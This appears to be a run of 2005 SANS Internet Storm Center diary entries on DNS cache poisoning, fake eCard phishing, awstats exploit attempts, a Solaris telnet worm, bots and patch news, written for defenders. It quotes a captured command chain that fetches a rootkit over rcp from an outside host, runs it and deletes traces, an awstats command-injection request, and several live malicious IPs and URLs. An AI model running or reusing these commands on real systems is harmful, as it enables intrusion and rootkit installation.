New DNS cache poisoning server

Looks like we got us another DNS server trying to poison DNS caches:

218.38.13.108

If you run a larger network, we recommend to block all traffic to this host.

A quick check with 'dig' shows that this server advertises itself as authoritative for '.com', and returns the same IP for all queries to .com domains.

For the particular report we have, the original domain that caused a querry against this DNS server was intelliview.com. (Thanks Adrien for figuring this out!!)

Once your cache is poisoned. All requests to .com hosts are redirected either to 205.162.201.11 or 217.16.26.148. You will see a minimal search enigne like page and an advertisement for _http_://www.privacycash.com (DO NOT CLICK),

dig www.cnn.com @218.38.13.108



; <<>> DiG 9.2.4 <<>> www.cnn.com @218.38.13.108

;; global options:  printcmd

;; Got answer:

;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 59667

;; flags: qr aa rd ra; QUERY: 1, ANSWER: 2, AUTHORITY: 1, ADDITIONAL: 1



;; QUESTION SECTION:

;www.cnn.com.                   IN      A



;; ANSWER SECTION:

www.cnn.com.            99999   IN      A       205.162.201.11

www.cnn.com.            99999   IN      A       217.16.26.148



;; AUTHORITY SECTION:

com.                    99999   IN      NS      besthost.co.kr.



;; ADDITIONAL SECTION:

besthost.co.kr.         1800    IN      A       218.38.13.108



;; Query time: 236 msec

;; SERVER: 218.38.13.108#53(218.38.13.108)

;; WHEN: Thu Mar 31 16:01:07 2005

;; MSG SIZE  rcvd: 105

DNS Poisoning Stats

The DNS spoofing attack on March 3rd redirected affected users to a set of
compromissed web servers. Some of the administrators of these servers agreed
to share logs collected during the attack (THANKS!). Based on these logs, we
collected the following statistics:

o 1,304 domains poisoned (pulled from the referer entries in the HTTPD logs)

o 7,973,953 HTTP get attempts from 966 unique IP addresses.

o 75,529 incoming email messages from 1,863 different mailservers.

o 7,455 failed FTP logins from 635 unique IP addresses (95 unique user accounts).

o 7,692 attempted IMAP logins (805 unique users, 411 unique IP addresses).

o 2,027 attempted logins to 82 different webmail (HTTP) servers.

BlueMounting Greeting Cards

We received multiple reports about "BlueMountain Greeting Cards" being used to spread malware. The links read like they link to the bluemountain.com web site, but in fact they link to other sites not affiliated with bluemountain.com. The email headers are fake and not sent via bluemountain.com.

Sites the e-mails link to (looks down now, but note that these sites may distribute malware. DO NOT CLICK).

_http_://66.66.129.65:8180/009/

_http_://66.66.129.65:8180/006/sp2.html

_http_://66.66.129.65:8180/006/counter.gif
(thank to Brian for additional versions of the URL).

Typical content (thanks Chris!):

From: guerite@osellus.com

To: username

Subject: Username, You've received a postcard!



To view your eCard, choose from the options below.

Click on the following link.

http://www.bluemountain.com/view.pd?i=156506081&m=1195&rr=y&source=bma772



OR



Enter the following eCard Number, 117890283650, on our Card Pick Up Window at

http://www.bluemountain.com/findit.pd?source=bma838



If you have any comments or questions, please visit

http://www.bluemountain.com/customer/emailus.pd?source=bma085



Thanks for using BlueMountain.com. 

Windows 2003 SP1 released

was released today. One of the new features is a "Security Configuration Wizard". If you had a chance to use it, let us know how you liked it.

Service Packs usually include all past patches, and a set of new features. You should carefully test service packs before deploying them in a production environment.

awstats.pl details

Ryan Barnett setup a cgi script on his web server to collect more information from awstats.pl exploit attempts. This is achieved using the following httpd.conf directive:

ScriptAliasMatch /awstats\.pl /var/www/htdocs/cgi-bin/script$1

the 'script' will parse any commands passed to it, and provide plausible but fake responses. Shortly after Ryan's script detected the standard 'awstats.pl' attempt
( /cgi-bin/awstats.pl?configdir=|echo%20;echo%20;id;echo%20;echo|), he detected a followup exploit from the same IP address:

Request: a.b.c.d - - [31/Mar/2005:06:59:30 --0500] "GET /cgi-bin/awstats.pl?configdi

r=|echo;echo+DTORS_START;id;echo+DTORS_STOP;echo| HTTP/1.0" 403 743

Handler: cgi-script

----------------------------------------

GET /cgi-bin/awstats.pl?configdir=|echo;echo+DTORS_START;

  id;echo+DTORS_STOP;echo| HTTP/1.0

mod_security-message: Access denied with code 403. Pattern match "!^[-a-zA-z0-9\._/]+$" at

 REQUEST_URI

mod_security-action: 403



HTTP/1.0 403 Forbidden

========================================

A google search for the string 'DTORS_START' and 'DTORS_STOP' leads to an awstats exploit package on

Nice detect Ryan!

Port 1025

Orlando detected a large increase in port 1025 scans of his network. The scans subsided after a day, but are noteworthy. If you see any temporary increases in TCP SYN scans to port 1025, please try to setup a little netcat honeypot. Our best guess so far is that these scans target an RPC service.

MS05-002 Problem

The FrSIRT reports that Windows 9x and ME users report problems with patch MS05-002. After installing this patch, MSIE will no longer start. For details, see this discussion on .

If you do still use a Windows version prior to Windows XP/2000, you should upgrade to a newer version of Windows.

----------

Johannes Ullrich, SANS Institute (jullrich\at/sans.org)

Another round of DNS cache poisoning

(from handler Kyle Haugsness)



We are investigating another round of DNS cache poisoning. Reports have come in from some very large commercial organizations and they report using only Windows DNS servers that are secured against the attack or using Windows 2003. We are trying to identify whether this is a bug on Windows DNS servers. The symptoms of the current attack are as follows:



1. We still have not identified the trigger. If you know how people are being forced to the malicious DNS server (below), please let us know.



2. The malicious DNS server is 216.127.88.131. We are in the process of trying to get this IP address blackholed. In the meantime, the server is poisoning the entire .COM domain. It returns the following 3 IP addresses for any hostname lookup in .COM:

  209.123.63.168 / 64.21.61.5 / 205.162.201.11 

3. The 3 IP addresses above return a simple HTML page with the following embedded URLs. These servers are trying to drop malware on your machine, so DO NOT browse to them:

  vparivalka .org /G7 /anticheatsys.php?id=36381
 

  find-it .web-search .la
 

-----------

Most of the email coming in and going on between the handlers right now is centered around the working being done with Windows DNS cache poisoning. I'll touch real quick on the various other mailbag items from the last 24 hours:

For people using Apple servers, there's a new security update available (2005-03) as of March 21st, and apparently a re-release on March 28th. Quick highlights are: AFP DoS fix and file permission change, a fix for local security bypass via Bluetooth setup, buffer overflow in Core Foundation, Cyrus IMAP server buffer overflow and DoS, Cyrus ASAL overflow and potential remote code execution, Mailman directory traversal problem, Safari IDN fix, Samba remote DoS and potential remote code execution, and fixes to Squirelmail and telnet. At the same time non-server machines had the same security update released.

Someone also reported another fake Blue Mountain eCard site. I haven't been able to see the malware it's dishing out - at the moment the site appears to be having some problems.

Phishing is still alive and well. However, we typically think about it from the computer standpoint, being computer specialists and all. Markus Martin emailed in something amusing - a warning from his local bank about dropping your deposit or corrospondance with the bank into the mail box outside. It appears that there's been a problem with people putting fake maildrops outside of the bank, and picking up the mailbox later.

Davis Ray Sickmon, Jr
Handler on Duty

Comments about Infocon

We have received numerous valuable comments about our infocon system. Thanks for all the comments. In the next few days, we will come up with a plan to improve the system. Stay tuned.

Telnet client vulnerability

There are two new similar vulnerabilities affecting telnet clients on FreeBSD, variants of Linux, Solaris and OS X. Together with the telnet exploitation that we reported couple days ago, it should be a warning for those who haven't disabled telnet on their network.



Disable all telnet daemons on your machines, use SSH instead. If you really don't need the client, consider removing it or disable the execution bit on the file.



References:

http://www.idefense.com/application/poi/display?id=220&type=vulnerabilities&flashstatus=true

http://www.idefense.com/application/poi/display?id=221&type=vulnerabilities&flashstatus=true

DNS poisoning still around

We have received a few more reports of DNS poisoning, we think it is the previous attack re-appearing and are handling it. Please let us know if you are seeing this attack again.





-------------

Jason Lam, jason / at / networksec.org

You Are The Driving Force

Taking Our Medicine

(Can I have some sugar with that please?)


One reader writes ..


"I agree with other comments that the almost constant green status makes the indicator something I don't consciously check any more. If it changed off of green, I'd probably miss it."


Ouch! I can't think of a better reason to change.

Next Steps

Suggestions have been arriving at a steady pace and continue to be discussed internally.


While no decisions have yet been made as to what the end result will be, it looks like the group consensus is for change.


One way you can help us determine what the best changes are, is to answer our new poll question.


Thanks for all the suggestions and keep 'em comming!

A Contrasting View

Ken writes ..


"Dear SANS,


I believe the Infocon Status monitoring is perfect where you have it. If its remained green for so long that nobody cares, then you must ask yourself why doesn't anyone care? Are we borded with no events occuring warranting a higher status?"


The question, in my mind, is what events warrant a change?


Another reader writes ..


"I'd prefer the criteria for changing the infocon level not be changed. However, if changes must be made, please take care not to make it over sensative, i.e. a new virus spreading through common methods (an .exe, .scr, .pif email attachment) or increased activity/new vlunerability on the "hack me" ports that should be blocked at the firewall anyway should not trigger a change in the infocon."

Another reason to upgrade XP to SP2

Shortly before we received an e-mail from Pavel, fellow handler Jim Clausing alerted us this morning to a vulnerability announced in XPSP1 that would allow a remote (authenticated) non-administrative attacker to shut down an XPSP1 system running remote desktop.


Details are available at http://support.microsoft.com/kb/889323/

Happy Easter!

Solaris telnet/rlogin cont.

Regarding the telnet and rlogin attacks on Solaris systems, a reader mentioned it might be related to
http://www.kb.cert.org/vuls/id/569272
(dated 2001). Also he mentioned he saw outgoing packets from a rootkit. We're looking for confirmations and we're still looking for the malware itself.

As a precaution you might want to check if your Solaris boxes are up to date on security patches.

Also one should really consider not to expose telnet and the "r" protocols, and replace them with e.g. ssh which supports similar functionality with less risks due to being much less trusting of nature.

Timezones a big mess?

Many of us handlers don't like timezones all that much. Proof of that could well be that the shift changes we do as a handler of the day (HOD) are at 0:00 UTC.
But the reason for you to be concerned by timezones is not that our shifts end then. On a day like today, part of the world switched to daylight saving time. Europe (and probably a bit more) skipped from 2AM to 3AM local time last night.
Modern OSes can handle those changes, but your logfile analysis becomes a lot harder. E.g. Something that went on from 1:59 till 3:01 only lasted 2 minutes, not a bit more than an hour.
Worse when it switches in the other direction, then there's 2 times in one night all the moments between 2am and 3am. Making it nearly impossible to calculate anything with those timestamps alone.
Next week most of the US will switch (except Arizona), so perhaps it's time to consider putting your security logs in UTC or GMT if you haven't done so over the years. It is a lot easier to exchange notes on the Internet if you do.

DNS queries

Andreas wrote in to ask about continuous traffic to the root nameservers.

As such traffic to root nameservers ([A-M].ROOT-SERVERS.NET) isn't an immediate reason for concern, they do have an important reason for being around.

It should start to worry you if the traffic originates from machines not being a DNS server themselves, as they should ask questions to whatever server they're given as a cache.

It should become reason for serious concern if you see traffic on a high rate toward these servers as it means you machine is most likely participating in some denial-of-service (DoS) against these servers. This can be done through some malware or by your machine being part of a botnet.

Figuring out what is going on probably will trigger a question to look at the packets being exchanged with the servers.

If any of you see an increase let us know, perhaps there's a trend.

--

Swa Frantzen

SunOS telnet worm on the loose Watch ports 23, 513 and 514

The telnet port(23) is being targeted and rcp is the download port(514)

used to grab the worm/autorooter kit via rcp.

We have received several reports of what appears to be a telnet negotiation
exploit with autorooter or worm like qualities.

Further reports shows many of the hosts being reported for telnet scans

are also being reported for a rlogin bruteforce on port 513

It was reported that the probes for port 23 began on 03/20/2005

Looking at isc.sans.org shows 23 has been fairly active but the

number of targets had a large increase on 03/23/2005.

I pulled these commands from a user provide tcpdump file :

mkdir /tmp/.m ; cd /tmp/.m; echo /usr/bin/rcp
news@210.121.161.78:/usr/lib/.dl/rk/yatze-SunOS_`/usr/bin/uname -m`.tar . >mrun.sh

echo /usr/bin/tar -xvf yatze-SunOS_`/usr/bin/uname -m`.tar >>mrun.sh

echo cd rk \; /bin/sh go >>mrun.sh

echo cd / \; rm -rf /tmp/.m/\* \; rm -rf /tmp/.m >>mrun.sh

/usr/bin/nohup /bin/sh mrun.sh >/dev/null 2>/dev/null &
We have not gotten a copy of the actual worm/autorooter yet

If you have a copy we would like to analysis it
I looked at mynetwatchman.com most of the port 23 "violators"

are also showing up for attempting to bruteforce guess the password

on port 513 (rlogin).

InfoCon Alert Status Calibration

We have received a lot of emails about our InfoCon Alert Status

since yesterdays diary requested your feedback/opinions of it.

We will review them and consider each suggestion.

Please keep submitting in your ideas via the contact page.

DNS Cache Poisoning Again

(from ISC handler Kyle Haugsness)


We have received information that another DNS cache poisoning attack has
been launched. This time, it appears that the motivation is a little
different. The site being re-directed to is a website that sells
generic versions of popular prescription drugs. There are numerous
references on the Internet to this site as being spammers and the like.
We do not see any spyware/adware/malware being served from the server.


Before going any further, let's talk about the DNS server on Windows NT
4 and 2000 (not 2003). By default, the DNS server does NOT protect you
against DNS cache poisoning. If you run a resolving nameserver on
Windows NT 4 or Windows 2000, you are HIGHLY ADVISED to set the follow
the instructions here to protect yourself from these attacks:


http://support.microsoft.com/default.aspx?scid=kb;en-us;241352


Here is how the attack works. First, there needs to be a trigger that
forces the victim site's DNS server to query the evil DNS server. There
are several ways to accomplish this. A couple of easy methods are
e-mail to a non-existant user (which will generate an NDR to the source
domain), spam e-mail with an external image, banner ads served from
another site, or perhaps triggering it from a bot network or installed
base of spyware.


Once the trigger executes, the victim's site DNS server queries the evil
DNS server. The attacker includes extra information in the DNS reply
packet. In this particular attack and the one from earlier in March,
the reply packets contain root entries for the entire .COM domain. If
your DNS server is not configured properly, then it will accept the new
entries for .COM and delete the proper entries for the Verisign
servers. Once this has occurred, any future queries that your DNS
server makes for .COM addresses will go to the malicious DNS server.
The server can give you any address it wants. In this attack, any
hostname that you request is returned with a single IP address.


The gory details are as follows... The site users are being re-directed
to displays a page advertising megapowerpills.com. Interesting, the
real IP address for www.megapowerpills.com is different and seems to
only host an "under construction" image. The malicious DNS servers have
the IP addresses of 222.47.183.18 and 222.47.122.203. There are
numerous domain names and nameservers that point to these IP addresses.
Here are some of the domain names pointing to the malicious DNS servers:


baronpill.com

bizwebb.us

cbarricadepill.com

cflabbergastgood.com

cnd-dns.us

disc0unt.us

ezcliq.us

m-dns.us

medauditory.com

medverdantgood.com

medverdigrisgood.com

medverdictgood.com

outfacegood.com

outregood.com

prostrategood.com

ururu.us

InfoCon Alert Status Calibration

We have received a couple of emails about our InfoCon Alert Status recently. As our alert has been at green so much of the time, there has been questions about how useful the InfoCon Alert really is. As we are talking internally about re-calibrating when we bring the alert status up the alert scales, we would be interested in hearing what our readers think would be the best use of the InfoCon Alert Status. For information on how we consider raising the alert, please take a look at <A href="http://isc.sans.org/infocon.php"> the InfoCon faq page. What would you like to see as our litmus test of changing the InfoCon? Please contact us through and let us know how things should work best for you.

NIST HIPAA Guide Released

One of the handlers noted today that a new guide had been released by NIST entitled "Special Publication 800-66: An Introductory Resource Guide for Implementing the Health Insurance Portability and Accountability Act (HIPAA) Security Rule". (Thanks George for pointing this out.) In light of some of the discussions earlier this week concerning log retention, I am planning on reading this guide and seeing what this guide says about the current best practices for log retention, and workstation security. For those that really love to read such things, this guide is available at <A HREF="http://csrc.nist.gov/publications/nistpubs/index.html#sp800-66"> http://csrc.nist.gov/publications/nistpubs/index.html#sp800-66 .
Scott Fendley

Handler on Duty

Port 6101 Activity



It appears that we are again seeing an increase in activity being reported on port 6101.



http://www.dshield.org/port_report.php?port=6101&recax=1&tarax=2&srcax=2&percent=N&days=40



This port is commonly used by Veritas Backup Exec. If you recall back in late December and early January a bulletin was issued by CIAC indicating that there was a potential buffer overflow vulnerability that exists in the Veritas Backup Exec service processes.


http://ciac.llnl.gov/ciac/bulletins/p-066.shtml


Veritas acknowledged that this was an issue and released some hotfixes back in late January.



http://seer.support.veritas.com/docs/273850.htm



If you have not yet applied the appropriate hotfixes - now might be a good time to do it. After all - I would rather you spend your time at home with your family this Easter weekend, not at the shop cleaning up the mess.



Deb Hale


Handler On Duty

HIPAA log requirements clarification

In response to yesterday's diary we have received quite the flurry of emails
asking for clarification of the six-year HIPAA log retention requirement. This
may seem a bit convoluted if you're not used to rummaging around inside US
Federal statutes...here goes.



The specific language in HIPAA introduces the six year window in two
places:


"An individual has a right to receive an accounting of
disclosures of protected health information made by a covered entity
in the six years prior to the date on which the accounting is
requested.."


and,


with regard to "Security Standards for the Protection of
Electronic Protected Health Information":

"(i) Time limit (Required). Retain the documentation
required by paragraph (b)(1) of this section for 6 years from the date
of its creation or the date when it last was in effect, whichever is
later."



This part pertains to records that:
"(i) Maintain the policies and procedures implemented to comply with
this subpart in written (which may be electronic) form;:

and

"(ii) If an action, activity or assessment is required by this subpart
to be documented, maintain a written (which may be electronic) record
of the action, activity, or assessment."



Regarding the above patient right to receive notification:
"disclosures" is a tough word, as such PHI (Protected Health
Information) disclosure can be intentional, accidental, malicious,
etc. To exercise due diligence in the protection of PHI we (I and
others) conduct security audits, penetration tests, policy reviews,
etc. Should a covered entity NOT retain system logs for 6 years and it
be later revealed that PHI was disclosed but system records of that
disclosure are no longer available, especially at the request of the
patient, there is a problem.



As for the second bit, it is much clearer that you must record and
maintain recoreds about policies & procedures & their enforcement.
This has little to do with system and network logs.



Even the Office of the Secretary of HHS waffled when asked about retaining system logs. From Federal Register / Vol. 68, No. 34 -



q. Comment: One commenter asked that data retention be addressed more
specifically, since this will become a significant issue over time. It
is recommended that a national work group be convened to address this
issue.

Response: The commenter s concern is noted. While the
documentation relating to Security Rule implementation must be
retained for a period of 6 years (see § 164.316(b)(2)), it is not
within the scope of this final rule to address data retention time
frames for administrative or clinical records.



As is indicated here, the six year standard need not be taken
literally for all system and network logs. However, as the language is
deliberately vague, there is the possibility of later court
"interpretation". For now, you need to weigh the costs of storage vs.
the risk of a hungry litigator & willing court. For fileserver access
logs, this is probably wise. For router, IDS/IPS/firewall logs, you
are less likely to run into troubles.



The final rule can be read at:
http://www.cms.hhs.gov/hipaa/hipaa2/regulations/security/03-3877.pdf

Mozilla foundation discloses and fixes three vulns

Mark Dowd of the discovered
a GIF library overflow condition that could be used to execute arbitrary code
with the rights of the browser or mail client process. According to ISS:

"Graphic Interchange Format (GIF) is a common and established image 

standard. This image format is widely supported in applications that 

view images, including web browsers and email clients developed by 

the Mozilla Foundation. 


Mozilla Foundation software makes use of a common image library to 

render GIF images. This library contains a buffer overflow vulnerability 

when processing a Netscape-specific extension block in GIF images. 

Exploitation of this buffer overflow can lead to remote compromise of 

affected machines with minimal user-interaction.


In order to exploit this vulnerability, an attacker would be required 

to induce the victim to view a web page or email message containing a 

maliciously-crafted GIF image."

Firefox 1.0.2, Thunderbird 1.0.2, and Mozilla Suite 1.7.6 address this and two
other less serious bugs. Mozilla advisories are at:


http://www.mozilla.org/security/announce/mfsa2005-32.html
http://www.mozilla.org/security/announce/mfsa2005-31.html
http://www.mozilla.org/security/announce/mfsa2005-30.html

And for goodness sake, folks, always ski in control!

Cheers!

g

Log Retention Best Practices
Its a good idea to develop a log retention policy for your site. This should include what type of information is stored; for how long; online vs offline; and whether the data is confidential. A good starting point would be to store compressed copies of your audit logs (syslog or event logs), firewall logs (network or host), and IDS logs (alert logs at a minimum. full packet trace retention would depend on the needs and requirements of your site) for at least 60 days.

It is also important to have someone knowledgeable of the relevant laws, regulations, and agreements which pertain to your site participate in policy creation and audits.
Examples of
VISA CISP, SOX, GLBA, FFIEC, Basel II, HIPAA. NISPROM, NERC, Italian Personal Data Protection Code Legislative Decree no. 196 of 30

The Basel II Accord - Affects international banks. Effective 2006. Activity logs should be retained 3-7 years

Federal Financial Institutions Examination Council (FFIEC) - Affects financial institutions governed by the Federal Reserve, FDIC, etc. Specifies historical retention.

Gramm-Leach-Bliley Act (GLBA) - Affects entities that participate in financial institution activities.

The Health Insurance Portability and Accountability Act (HIPAA) - Affects healthcare industry. Logs should be retained up to 6 years.

North American Electric Reliability Council (NERC) - Affects electric power providers. Specifies log retention for 6 months and audit record retention for 3 years.

National Industrial Security Program Operating Manual (NISPOM) - Specifies log retention of at least one year.

The Sarbanes-Oxley Act (SOX) - Affects US Corporations. Specifies retaining audit logs for up to seven years.

VISA Cardholder Information Security Program (CISP) - Specifies retaining audit logs for at least six months.

2-factor auth poll-results

As of this morning, ~60% of the 1260 respondents either don't use two-factor authentication or don't know what it is (see the current results .) It is common practice for European banks to use two-factor authentication. It's only recently being tested in American financial institutions. I'm referring to their clients-- two-factor is fairly common internally. If you're looking for a solution to the phishing-problem, two-factor authentication is an effective countermeasure (but not foolproof, if a site immediately uses your cached credentials there is a window of exposure that can be exploited.) It certainly raises the bar a bit. The most common versions of two-factor authentication are one-time-password lists, RSA tokens and smart cards. I've even seen clever little cards with images on them where the user is given a challenge-image, and the user applies their "algorithm" to it (e.g. two images up, three to the right,) and returns the counter-image. Two-factor doesn't have to be expensive. Soft-tokens and the image cards are cheap and easy to distribute. I think users would accept the "inconvenience" of two-factor authentication to protect their bank accounts. I carry a cluster of RSA tokens around my neck, and sometimes it feels like I'm launching a polaris missile when I'm VPNing in--so there's some improvement to be had there.

Sticky firewall question

This came into the mailbag this morning: "How long do you recommend firewall logs be retained? Is there a general baseline or best practice on length of time and where to store the log?"

A question like that gives me pause, much like: "honey, do these bloomers make me look fat?"

I've chosen to answer the question with more questions:

How long can you afford to keep them?

What regulatory requirements are you subject to?

What is the longest resolution time out of all of your internal incidents? (thanks for that metric Swa.)

These answers will give you some boundaries and drivers. If you can afford to keep them longer than your worst case requirements, you're set. If not, well... that's why managers get paid the big bucks.

My client is subject to Sarbanes-Oxley (SOX) and there is debate amongst the auditors and lawyers over it being 5 or 7 years. I also have concerns on the format that the logs are stored in. The vendor of the internal log storage solution says that their logs reduced into databases is okay, while I feel that raw logs are better (at least from a evidentiary standpoint.) But they're vendors, of course they're going to say their product is fine.

Dynamic DNS and its impact to Incident Handling

When dealing with a static IP number the process is fairly simple: identify humans associate with the IP and the DNS name. Okay, it's not so simple, doing a whois lookup and sending emails is one thing, but sometimes you have to followup with phone calls and do a little bit of investigative work. When a dynamic DNS services enters the equation the problem gets a little more complicated. First, you have a moving target, and so have to follow the normal process, but with a larger list of contacts. The dynamic DNS service admin must also be included. Many services are quite cooperative when trying to resolve an issue. The problem gets much worse when a DNS server is being updated dynamically without the owner's knowledge. You can help by ensuring that your DNS servers are configured securely.

Sybase Buffer Overflow Vulnerabilities to be Announced

NGSS discovered serious Sybase issues in 2004 and reported them to Sybase, who released patches . The technical details of the vulnerability were scheduled to be released today Mar 21, 2005.

Mac OS X Issues Released

Today Apple updated which addresses a number of Mac OS X issues

Happy Nowruz!

A belated happy ! Please, don't forget to feed the goldfish! :-)

A user reported

"I've been receiving messages from people I haven't talked to in years via Yahoo Messenger tonight. The message is simply a URL. The URL is
http://yahoo-secretDOTtripodDOTcom"

If your seeing traffic to exploited.lsass.cc you should examine your hosts for a new bot

A few of the handlers are examining a new bot binary.

A bot controller was discovered during this malware analysis.


The bots connect to "exploited.lsass.cc" on port 19899 (TCP).

which currently resolves to:

Name: exploited.lsass.cc

Address: 158.195.101.192

Name: exploited.lsass.cc

Address: 140.123.105.125
DNS resolution is provided by dnsmadeeasy.com

The binary appears to be a version of rbot/sdbot.

AntiVir 6.30.0.7 03.18.2005 no virus found

AVG 718 03.18.2005 no virus found

BitDefender 7.0 03.20.2005 Backdoor.RBot.B43AC4F1

ClamAV devel-20050307 03.19.2005 no virus found

DrWeb 4.32b 03.19.2005 no virus found

eTrust-Iris 7.1.194.0 03.19.2005 no virus found

eTrust-Vet 11.7.0.0 03.18.2005 no virus found

Fortinet 2.51 03.20.2005 no virus found

F-Prot 3.16a 03.19.2005 no virus found

Ikarus 2.32 03.18.2005 Backdoor.Win32.Wootbot.AM

Kaspersky 4.0.2.24 03.20.2005 Backdoor.Win32.SdBot.gen

McAfee 4450 03.18.2005 no virus found

NOD32v2 1.1030 03.19.2005 probably unknown NewHeur_PE virus

Norman 5.70.10 03.17.2005 W32/MEWpacked.gen

Panda 8.02.00 03.19.2005 W32/Sdbot.CJM.worm

Sybari 7.5.1314 03.20.2005 Backdoor.Win32.Rbot.gen

Symantec 8.0 03.19.2005 W32.Spybot.Worm

The handlers are a more international group than some of our
readers often realize. Many of us never met in
real life but we keep close electronically. In the background of
saving the Internet, we joke and cry
together like any group of friends. Today was rather low on the
joking part as one of the handlers -our friend- needs
our moral support for his daughter Erin as she has undergone major surgery today.
UPDATE Erin, is out of surgery and has been released from ICU.


Get well soon!

Port 533 spike

A kind reader pointed out there was a spike in scanning: many targets, few sources. We're looking for what they were scanning for as well as some packet captures, should anybody happen to have them.

Port 533 (both TCP and UDP) have been assigned by IANA for "netwall" (emergency broadcast) but our suspicion is that they might be scanning for something different.

Planned maintenance completed

I was informed that the planned maintenance of the servers has been completed. If you see any further issues, please do let us know so that we can fix them.

Java WebStart Cross Platform Vulnerability, cont.

Yesterday's diary didn't explicitly mention that versions 1.5.0 of J2SE (a.k.a. J2SE 5.0) aren't vulnerable. So I'll make it clear: they're supposed not to be vulnerable. Unfortunately it isn't all that simple to upgrade between major java versions in real life.

The issues with third party software demanding certain versions of the java environment often make the lives of system administrators miserable. That's to be expected. But even for in-house code it unfortunately just isn't easy to change these things as and when one would want or need to.



--

Swa Frantzen

McAfee AntiVirus Library Stack Overflow

The ISS X-Force has another notch in their belt today, releasing information about
a flaw they have discovered in AntiVirus Library versions prior to 4400. To exploit
this vulnerability, an attacker is required to craft a custom LHA Archive file
which will allow the attacker to run arbitrary code on the McAfee protected system
when the file is scanned for viruses.



This makes the third antivirus package in recent memory to have a fatal flaw, and
when one includes the Witty worm; a definite trend of attacks against security
infrastruture software is emerging. This, of course, is a natural progression
in attack and defense; AntiVirus packages are, in a sense, becoming victims of
their own success. Fortunately, security practitioners already have a framework
for dealing with this type of threat, and that is to practice Defense-in-Depth.
Relying on only one vendor's security product or suite of security products is
a guaranteed disaster at some point in time. Use multiple Antivirus packages.
Get a screening router with AV gatewaying in addition to your host AV. Use other
technologies to protect your security infrastructure. Build a heterogeneous
environment. These arn't going to be "nice-to-have" characteristics of a secure
site for much longer. Soon, they will be as mandatory as a quality A/V package
and a firewall is today. Get ready early and it will hurt less later.



For more information; see the

or the

Java WebStart Cross Platform Vulnerability

Systems running Java J2SE 1.4.2_06 and earlier 1.4.2 releases have been determined
to be vulnerable to a malicious JNLP file, resulting in an untrusted application
being able to elevate its privileges and escape the restricted environment.
This affects browsers (and other applications using "javaws") on Windows, Linux,
and Solaris, and could lead to a cross-platform worm. Solutions are to upgrade
the J2SE environment, or disable "application/x-java-jnlp-file" JNLP handlers
within your web browsers. According to the discoverer, Jouko Pynnonen, versions
of J2SE prior to 1.4.2 (eg; the 1.3 and earlier 1.4 series) are not vulnerable
to this attack. A proof of concept has been released, and overall impact is
similar to the recent IFRAME attack, so it is likely that we'll see this one
in the wild.



See also the

and the
SunSolve Alert Notification

A minor clarification on the Pwsteal.Bankash.D trojan

A trusted third-party has reported to us that Symantec's analysis of the
PWSteal.Bankash.D trojan is slightly off. Their report lists a large number
of sites that traffic is logged to, when in reality, only URLs matching these
seven URL substring patterns is logged: ba-ca.com, onba.zkb.ch, banking.bawag.com,
raiffeisendirect. , ebankas.vb.lt, and tatrabanka.sk. The remaining URLs are
used in an apparent blocklist routine, and are not logged. This is interesting
because it appears that the attacker has a very specific set of targets in mind
this time around, and an apparent fondness for european online banks.

18905/tcp scanning

One of our readers has spotted an interesting trend of scanning for

recently, but we're all at a loss as to what this scanning represents. If you've
got any ideas, please drop us a note!

To all the Irish and Irish-at-heart out there, a Happy St. Patrick's Day. (Warning US-centric comment coming next) For those of you who, like me, are college basketball fans, enjoy the next several days of 12+ hours a day of basketball. I know I will. :)

Perl bots

Our intrepid readers (thanks, to the Telenor folks), sent us a copy of 2 bots, written in Perl, that were being installed via an AWSTATS exploit (see
http://isc.sans.org/diary.php?date=2005-03-01 and
http://isc.sans.org/diary.php?date=2005-01-31
). The second appears to be an updated version with greater functionality. The irc command and control channel for the first variant seems to be down, the second one appears to still be up and the websites from which the malware was being downloaded are still live. Admins might want to check their proxy or firewall logs for traffic going to xii.altervista.org and poff.altervista.org.

MS05-004 update

Thanks to Juha-Matti for pointing out that the ASP.NET bulletin from February has been updated. Apparently the Caveats section of KB887219 has been updated based on user experience, but, of course, all our loyal readers have already patched, right? :)



-----------------

Jim Clausing, jclausing at isc dot sans dot org

MS05-010 Correction

Quoting Dave Aitel directly from [Dailydave] LLSSRV Clarifications.


As stated in MS05-010, LLSSRV is not remotely exploitable on Windows 2000 Server SP3 and 4 without authentication. However, it is remotely exploitable in Windows 2000 Advanced Server SP 3 and 4 without authentication. More information at the Immunity Inc. web site:


http://www.immunitysec.com/downloads/llssrv_miss.pdf

It's the end of the world as we know it...

An article titled "How To Save The Internet" is an interesting read. Aside from the US centric bias it points out that the Internet as we know and love it today is essentially dysfunctional. Which brings us to the question of how to either save it, or move on to a better method of safely and securely connecting the world together. I have my own thoughts about some of the ideas raised in the article; some are silly, some are not feasible, but some merit some thought and attention. What do you think?



http://www.cio.com/archive/031505/security.html

DNS cache poisoning incidents

There have been widespread reports of DNS cache poisoning and users being redirected on a major scale to certain web sites. Symantec has released a hotfix addressing a DNS cache poisoning and redirection issue with their Gateway Security, Enterprise Firewall, and VelociRaptor products. Products other than Symantec's are also reported to be impacted. More information is available from the following URLs:



http://securityresponse.symantec.com/avcenter/security/Content/2005.03.15.html


http://www.techweb.com/wire/security/159900971

New Handler

I have the pleasure of introducing a new Incident Handler who has joined our ranks. His name is William Salusky. Welcome to the club William.




Adrien de Beaupré, handler of the day

More about phpBB <= 2.0.12

phpBB 2.0.13 is still safe.
An exploit has been released for phpBB bulletin boards. This exploit tries to drop netcat into the web root. There is another binary in tmp which I have not directly identified which appears to exploit a race condition in the Linux kernel. The file name is pwned and it calls a data file called TTdummyfile.
Previous diary entries regarding phpBB:

http://isc.sans.org/diary.php?date=2005-03-12

http://isc.sans.org/diary.php?date=2005-02-27

http://isc.sans.org/diary.php?date=2005-02-22



We have had one report of a system compromised with this tool. Since it creates at least one backdoor on the system my recommendation is to take the machine offline and rebuild it. With the caveat that the same exploit path may still exist since from the report that I have seen the exploit works on all the current versions of phpBB, Apache, and PHP. I will update this information as I learn more. The exploit is listed as affecting versions phpbb <= 2.0.12. The report we got today was running version 2.0.12. It had not been fully patched to 2.0.13.
I was informed this evening that the netcat file was downloaded by the owner and not the exploit to compare to the pwned and other files in the tmp directory.

Identity theft

We got a note from a reader regarding a series of phone calls he received with regard to credit applications. He had not filled any out. After questioning the callers (there were several, one was a Honda dealer) he found that they had his name correct but none of his other data.
The pertinent thing here is that he immediately had a fraud alert placed on his account for the next three months. This alert has been set to all three bureaues.
There is excellent information on how to protect yourself at this web site:

http://www.fightidentitytheft.com/flag.html
We wish this reader good luck. It is getting harder to protect yourself.

Alternative browser java exploit

